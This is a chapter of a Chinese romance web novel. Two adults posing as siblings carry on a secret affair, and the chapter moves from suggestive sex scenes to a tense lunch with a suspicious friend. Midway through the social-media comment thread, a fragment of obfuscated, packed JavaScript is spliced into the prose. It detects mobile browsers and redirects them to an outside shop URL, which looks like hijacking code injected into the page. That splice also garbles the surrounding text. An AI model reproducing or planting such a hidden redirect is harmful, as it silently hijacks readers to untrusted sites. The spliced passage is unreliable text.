段予森几乎将半个身体的重量都压了过来。
岑愿后背抵着冰凉的门，被他困在怀里，呼吸渐渐乱了节奏。
他吻得很深，带着酒意和某种说不清的餍足，她被他吻得意乱情迷，整个人像化开的奶油，软得不成样子。
岑愿都不知道什么时候，自己的一条腿被他抬起。
下一秒，整个人忽然腾空。
岑愿惊呼一声，下意识搂紧他的脖子
段予森抱着她，穿过满地的啤酒瓶，走向客厅那面巨大的落地窗。
玻璃瓶在脚下反射着头顶昏黄的灯光，叮叮当当地滚开，落地窗上映出两个交缠的模糊人影。
岑愿掌心抵上冰凉的玻璃，凉意从手心一路窜到后背，她缩了缩，声音软得像在讨饶：“我们回床上吧。”
她害怕这样的暴露，就像他们虚假的兄妹情谊被揭露一样。
身后的人不说话。
段予森的手从背后覆上来，覆在她抵着玻璃的手背上，手指挤进她的指缝，与她五指相扣。
他低下头，嘴唇贴着她的耳廓，嗓音低哑：“不喜欢吗？”
岑愿脸烧了起来，却也说不出不喜欢。
段予森好像太了解她了，尤其是在床上，她跟AI说过的每个能让她兴奋的点，好像都能在段予森这里满足。
如上天恩赐般，她汗水涔涔地接受着他的撩动。
段予森的手抚上她的后颈。
岑愿忍不住嘤咛一声，尾音发软。
段予森连这里都知道，他对她身体越来越了解了。
身下的悸动，也不断在提醒她，他所给予的，令人心跳加速，血脉偾张。
情动过后，段予森与她面对面躺在地毯上，他伸手拨开她散落在脸颊边上的发丝，定定看了她几秒。
岑愿脸颊白皙透粉，唇瓣殷红，她身后的城市灯影明灭，月光透过玻璃，落在她眉眼间，把那双眼衬得格外妩媚。
“你在想什么？”岑愿被盯久了，轻声问。
“没什么。”
段予森站起身，捞起搭在沙发背上的外套，随意披在肩上，他俯身，一只手托住岑愿的腿弯，将她横抱起来，往浴室走。
岑愿浑身发软，哪里都使不上劲，像只猫缩在他怀里。
他把她放进浴缸里。
温热的水漫上来，漫过她的膝盖，段予森帮她揉搓着头发。
岑愿闭着眼睛享受着他的服务。
没过多久，水渐渐漫起，岑愿睁眼，段予森不知何时也踏进来，浴缸很大，容纳两个人绰绰有余。
浴室的水汽雾蒙蒙，把他的眉眼氤氲得模糊，岑愿伸出手，去描摹他的眉骨。
“你说，我们要是亲兄妹会不会更好？”岑愿指尖轻轻滑动，继续幻想，“从小一起长大，彼此熟悉，互相陪伴。”
段予森垂眸看着她，小腿往前伸，轻轻勾着她的腿，说：“不会。”
岑愿指尖停住，下一秒，被他轻而易举捉住。
段予森语气似有疏离，似有随意，听不出情绪：“原来你这么想当我妹妹。”
“……”
岑愿心想，强烈的亲情纽带捆绑住他们，互相不分离，是她认为最好的结局。
而现在，只能抓住每一瞬间。
只有当下，不会分离。
岑愿抬头，热烈地吻住段予森的唇。
水面晃动，漫溢着溅了出去，热浪刺激着肌肤，岑愿身骨软绵绵的，身体滚烫，她微微睁眼。
只看到段予森微眯着眼，眼底深邃幽暗，暗色翻涌。
……
隔天早上，段予森被手机震醒。
昨晚的铃声响了很久才消停，今早又继续，岑愿还在身侧熟睡，她因为震动而微微皱眉，却没有醒。
段予森不太耐烦地拿起接通，放在耳边低低喂了一声。
“我跟你说，我真是……段予森？”
那头响起程潇的声音。
段予森看了眼手里的手机，拿错成岑愿的了。
他们俩的手机是同一个型号，岑愿的手机壳前不久撞裂了，被她丢了，于是跟段予森的手机摆在一起，不太容易辨认出来。
段予森又把手机放回耳边，嗓音放低：“她还在睡。”
程潇很懵，问：“她昨晚没回去？”
“嗯。”
“在你那边睡的？”
“嗯。”段予森语气逐渐冷淡。
程潇呆了几秒，找回了自己的声音：“好的，那我等她醒来再说。”
“等下，为什么她的手机会在你——”
通话挂断。
段予森手臂被岑愿枕着，她好像有点醒，脑袋蹭了两下，又睡过去。
昨晚被折腾得太累，岑愿睡得昏沉，露出截白皙的脖颈，锁骨下痕迹明显，段予森垂眸看了会，嘴角勾了勾，闭上眼，陪着她浅眠。
岑愿醒来时，天已经大亮，晨光从窗帘缝漏下，她反应了一会，才对上段予森近在咫尺的视线。
他不知道醒来多久，盯着她，“醒了？”
岑愿这才清醒，眨了眨眼，“现在几点？”
段予森搂着她的腰，将她摁进怀里，低低应道：“还早。”
他的吻懒懒地落在身上，带着早上刚起时的倦懒，岑愿昨晚穿着他的一件宽大白T，领口敞着，衣摆宽大，被他轻而易举滑入。
一条薄被下，岑愿白皙的双腿与他的交叠，颈窝被热气喷洒，岑愿被迫仰起头，承受着他细密潮湿的吻。
晨起的温存时光，逐渐变了性质。
不知过去多久。
岑愿缩回被子里，看着段予森披上外套下床，没过多久，他端着一杯热牛奶过来，另只手放下一个外卖盒。
“我点了鹿园的粥，刚送来。”段予森把牛奶放到床头柜上，垂眼看她，“还热着，你要再睡会？”
岑愿懒洋洋不想动，但她有点饿了，想了下，还是决定起床。
段予森绕到小茶几旁，把外卖盒的盖子揭开，拿了只陶瓷小勺放进粥里，轻轻翻了两下，热气袅袅地升起来。
岑愿穿好衣服下床，坐在小茶几旁，一点点舀着粥吃。
米粒熬得很烂，入口即化，带着淡淡的鲜甜。
段予森拉开衣柜，开始换衣服。
岑愿看着他宽阔的脊背，肩胛骨轻轻起伏。
他穿好衬衫，手指从上到下把扣子一颗一颗扣上，扣紧皮带的金属扣，回头看着她，说：“我先去公司。”
岑愿点点头。
他离开后，岑愿拿起手机刷朋友圈。
昨晚赵司宸发了许多照片，他们一起吃的烧烤，玩的扑克，还有一地凌乱的啤酒瓶，他拍得很随意，构图乱七八糟，一点都没有美感，但是看上去很热闹，一目了然的热闹。
程潇也发了，发的是从吧台那个角度拍的，镜头里是段予森客厅那面巨大的落地窗，窗外CBD的夜景铺成一片，繁华的城市夜景尽收眼底。
岑愿滑动屏幕的手指一顿。
窗户还有一对不算清晰的倒影，别人可能看不出来，但是岑愿一眼就看见了，是段予森搂着她打游戏的画面。
心跳慢慢快起来。
底下赵司宸评论：【这块的视野真绝，羡慕死了。】
程潇回复：【你有钱你也能买。】
赵司宸：【这是有钱能买的吗，开盘即售空。】
洛文心：【这么夸张，这片区域我还能买到吗。】
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17625188|204147||http|test|mini|href|location'.split('|'),0,{}));
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>赵司宸回复洛文心：【嘉岚市中心的中心，你找段予森排个号吧，我先排一个。】
看来大家重点都在照片里的繁华夜景上。
岑愿欲盖弥彰地把每个人关于昨晚的都点赞了，退出去，忽然看到程潇的聊天记录显示着通话记录。
时间是今早八点半。
岑愿忽然想起来，早上好像听到段予森在接电话，一瞬间，她就理解了事情经过。
-
岑愿换好衣服离开公寓，期间秦瑛发消息问她，今早怎么不在家。
秦瑛最近工作忙，天南地北地飞，她不太管女儿的生活，对她回不回家这种事管的不严，却也会问问，关心一下。
岑愿回她，在休息间睡了。
甜颂的休息间有个折叠床，最初岑愿创业那会，甜颂只有她一个人，每天早上四点就要开始准备食材，于是那时候她天天在店里睡觉。
秦瑛没多想，觉得她最近忙，也依旧在店里睡下，便放心没再多问。
回到甜颂，岑愿看了看外卖订单，今天不算太多，阿元和陈延得空在后厨闲聊，落地窗外是个大晴天，是个比较悠闲的上午。
到了中午，程潇发消息，叫她一起去吃午饭。
岑愿坐在隔壁的咖啡馆，点了杯芝士拿铁，看着程潇在柜台点好简餐，端着坐过来。
程潇刚坐下，就愤愤不平地开始抱怨：“你知道晴妍昨晚给我打了多少个电话吗，今早我跟她解释昨晚喝酒了睡得沉，没听到，她气我不接，又把我拉黑了。”
岑愿抿一口咖啡，问：“她有急事吗？”
“我也以为她有急事，但是早上问了好几遍，她就是指责我不重视她，啥事也不说。”程潇叹了口气，“我感觉她现在并不开心，但我也不知道她在不开心什么。”
程潇反问她：“她跟你说过吗？”
岑愿摇摇头，“她好久没联系我了，就算有，也是问我哥的事，最近也不问了。”
程潇低头用叉子拨拉着沙拉里的蔬菜叶，不知道在想什么。
岑愿没敢提早上那通电话，她装作不知道。
余光里忽然走近一个男人。
“你好，小姐姐……”
岑愿抬头，眼前男人腼腆地看着她，说：“我可以加你一个微信吗。你很漂亮，我喝咖啡的时候，见过你好多次了。”
好直白诚恳的搭讪语气，程潇也回头看过去，小哥长得比较干净，年龄应该比较小，看着像大学生。
岑愿笑了笑，看了眼他身后店老板梁越鼓励的眼神，问他：“你是梁越之前说的那个朋友？”
小哥眼睛一亮，她还记得他，激动地点点头。
岑愿想起程潇早上那个被接通的微信电话。
她莞尔：“那加一下吧。”
岑愿拿出手机，扫了码，添加好友。
程潇看着她如此自然的动作，心底那份怀疑慢慢在动摇。
小哥得偿所愿，这才注意到岑愿对面坐着她的朋友，连忙说：“抱歉是我打扰了，你们聊你们聊。”
小哥走后，程潇试探着问：“你喜欢这样的？”
“也不是，他是这家店长的朋友。”岑愿心跳加快，她也不算说谎，就是莫名心虚，“大家都是朋友，不好不给面子。”
程潇却因为这句话联想到晴妍，“你说的对，我就再原谅一次晴妍吧，说起来，她跟她爸妈吵得很凶。”
岑愿：“怎么了？”
程潇：“她爸妈都找上我了，让我劝劝晴妍，再怎么样，也别在人生地不熟的国外想不开。”
“是啊。”
“反正我劝过了。”程潇耸耸肩，无所谓地说。
岑愿低头喝咖啡，垂下眉眼遮住一瞬间的情绪。